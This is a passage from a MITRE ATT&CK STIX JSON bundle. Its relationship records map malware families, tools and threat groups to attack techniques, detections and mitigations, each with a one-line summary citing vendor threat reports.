2024)","relationship_type":"uses","source_ref":"malware--5dc9e8ec-9917-4de7-b8ab-16007899dd80","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44d2c8f1-696e-46ec-80c2-0c76b023c666","created":"2024-03-21T21:25:29.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T22:40:12.648Z","description":"Monitor for changes to files associated with TCC settings, such as `/Library/Application Support/com.apple.TCC/TCC.db` and the overwrites file.","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44d369b8-7e27-4197-8ba7-6153f3abbf35","created":"2024-09-17T18:33:33.604Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T18:33:33.604Z","description":"\n[Latrodectus](https://attack.mitre.org/software/S1160) can resolve Windows APIs dynamically by hash.(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44d62933-848e-481e-84f9-7dbdec9a4b85","type":"relationship","created":"2020-09-24T13:19:42.545Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.803Z","description":"[RegDuke](https://attack.mitre.org/software/S0511) can hide data in images, including use of the Least Significant Bit (LSB).(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--47124daf-44be-4530-9c63-038bc64318dd","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44ddb228-ec4e-495e-b930-04a49fe58a7d","created":"2021-10-14T18:59:38.981Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.430Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) has the ability to enumerate files and directories on a compromised host.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44de534a-f105-4016-b7a4-2e7fce8a203e","type":"relationship","created":"2020-05-14T20:55:00.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-07-07T12:35:12.294Z","description":"[Attor](https://attack.mitre.org/software/S0438)'s Blowfish key is encrypted with a public RSA key.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44e0a8c6-ccb4-4d4e-bcf0-0709f10dec51","created":"2023-03-20T20:09:48.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Unidentified Dec 2018","description":"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.","url":"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T17:34:15.320Z","description":"For [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors used legitimate but compromised domains to host malicious payloads.(Citation: Microsoft Unidentified Dec 2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44e55496-b39d-45b7-96b9-1840d2492a14","created":"2024-03-25T19:29:30.200Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne SocGholish Infrastructure November 2022","description":"Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.","url":"https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"},{"source_name":"Red Canary SocGholish March 2024","description":"Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.","url":"https://redcanary.com/threat-detection-report/threats/socgholish/"},{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T19:35:55.363Z","description":"The [SocGholish](https://attack.mitre.org/software/S1124) JavaScript payload has been delivered within a compressed ZIP archive.(Citation: Red Canary SocGholish March 2024)(Citation: Secureworks Gold Prelude Profile) [SocGholish](https://attack.mitre.org/software/S1124) has also single or double Base-64 encoded references to its second-stage server URLs.(Citation: SentinelOne SocGholish Infrastructure November 2022)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44e947f9-32ac-49b4-8830-35fea11f2bed","created":"2024-03-29T12:42:19.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T03:09:12.628Z","description":"Monitor for files with large entropy which don’t match what is normal/expected given the file type and location.","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44f0fc9b-82bf-4820-a4c4-8e96fc25107c","created":"2024-03-01T17:22:59.004Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T17:22:59.004Z","description":"Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44f230bb-b59a-4f30-8203-5e5ffd9796f5","type":"relationship","created":"2017-05-31T21:33:27.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.crowdstrike.com/blog/mo-shells-mo-problems-deep-panda-web-shells/","description":"RYANJ. (2014, February 20). Mo’ Shells Mo’ Problems – Deep Panda Web Shells. Retrieved September 16, 2015.","source_name":"CrowdStrike Deep Panda Web Shells"}],"modified":"2020-01-10T15:09:23.819Z","description":"[Deep Panda](https://attack.mitre.org/groups/G0009) uses Web shells on publicly accessible Web servers to access victim networks.(Citation: CrowdStrike Deep Panda Web Shells)","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44fab50d-4fb6-4a8a-ab7a-84dcb70443f5","type":"relationship","created":"2020-05-18T17:31:39.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."},{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}],"modified":"2020-10-09T16:24:40.022Z","description":"[Maze](https://attack.mitre.org/software/S0449) has injected the malware DLL into a target process.(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)\t","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--44fd01db-6dc1-4d7c-92e3-52a0af9f54f8","created":"2024-02-06T18:58:06.654Z","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE FLEETWOOD Profile","description":"Secureworks CTU. (n.d.). BRONZE FLEETWOOD. Retrieved February 5, 2024.","url":"https://www.secureworks.com/research/threat-profiles/bronze-fleetwood"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-06T18:58:06.654Z","description":"(Citation: Secureworks BRONZE FLEETWOOD Profile)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4504384f-f832-4ec2-87b0-b8dfc2208083","created":"2022-07-18T17:35:21.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T19:15:04.102Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has manipulated legitimate websites to inject malicious JavaScript code as part of their watering hole operations.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--450571d1-ce87-4017-bdc8-30fb2b6ae852","created":"2024-03-25T20:50:30.279Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T20:50:30.279Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) abused AWS Systems Manager Inventory to identify targets on the compromised network prior to lateral movement.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--e49920b0-6c54-40c1-9571-73723653205f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4505f967-fc2f-4b7a-af91-95b481af0a0b","created":"2022-03-30T14:26:51.861Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for contextual data about a group which describes group and activity around it.","modified":"2022-04-28T15:03:48.031Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--8d8c7cac-94cf-4726-8989-cab33851168c","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45060bf9-f01b-48a2-8a03-082ad7e7945f","type":"relationship","created":"2020-12-22T17:02:53.289Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2020-12-28T21:12:01.801Z","description":"[SharpStage](https://attack.mitre.org/software/S0546) has the ability to capture the victim's screen.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4507ba2b-e23c-4acf-a6a3-5ed9dae8d590","type":"relationship","created":"2019-03-11T19:24:08.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.525Z","description":"[Empire](https://attack.mitre.org/software/S0363) can exploit vulnerabilities such as MS16-032 and MS16-135.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45098d46-2345-4fe4-8b07-2345ffbb9e60","type":"relationship","created":"2020-05-12T14:26:05.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T14:26:05.003Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) has the ability to deploy a reconnaissance module to retrieve a list of the active processes.(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45159cd3-3e77-433b-a9ea-388875655103","created":"2024-09-04T20:30:19.217Z","revoked":false,"external_references":[{"source_name":"IBM ZeroCleare Wiper December 2019","description":"Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.","url":"https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T20:30:19.217Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) collaborated on the destructive portion of the [ZeroCleare](https://attack.mitre.org/software/S1151) attack.(Citation: IBM ZeroCleare Wiper December 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"malware--8d8518db-0f52-4f3c-8017-01389a8522bb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--451d0efa-51c0-414b-a839-cb44edca7bdc","created":"2024-09-03T18:16:29.820Z","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T18:16:29.820Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has purchased access to victim VPNs to facilitate access to victim environments.(Citation: Mandiant_UNC2165) ","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--451e231b-a523-4ee9-be5e-1e80cef9c8fa","created":"2021-11-30T16:13:37.363Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) can run in memory and register its payload as a Windows service.(Citation: Kaspersky ThreatNeedle Feb 2021)","modified":"2022-04-17T19:06:15.447Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45258d6a-3717-4542-ac17-e7343fae0304","created":"2024-09-16T08:41:43.367Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:41:43.367Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) begins with an initial launcher that decrypts an AES-128-CFB encrypted file on disk and executes it in memory.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4527c528-8377-4349-ae5c-95c04cabd3d4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco H1N1 Part 1","description":"Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities"}],"modified":"2019-04-29T18:23:16.024Z","description":"[H1N1](https://attack.mitre.org/software/S0132) uses multiple techniques to obfuscate strings, including XOR.(Citation: Cisco H1N1 Part 1)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4528e56e-6c64-4eef-853d-d4011a9ea7ef","type":"relationship","created":"2019-08-26T13:02:46.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET TeleBots Oct 2018","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."},{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-03-31T15:35:34.215Z","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses HTTPS for C2 communications.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--452e340a-df31-4ae9-a801-d26c57d491ea","type":"relationship","created":"2021-09-22T21:57:30.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-09-23T13:47:12.944Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has used Powershell to download UltraVNC and [ngrok](https://attack.mitre.org/software/S0508) from third-party file sharing sites.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--452ebe8a-fc71-42e2-994f-2a974ab16c8d","created":"2022-06-02T12:33:37.584Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ZxxZ](https://attack.mitre.org/software/S1013) has been disguised as a Windows security update service.(Citation: Cisco Talos Bitter Bangladesh May 2022)","modified":"2022-06-02T12:33:37.584Z","relationship_type":"uses","source_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45310a29-78b6-4863-ab0b-49fd53ef1809","type":"relationship","created":"2020-05-04T19:13:35.449Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 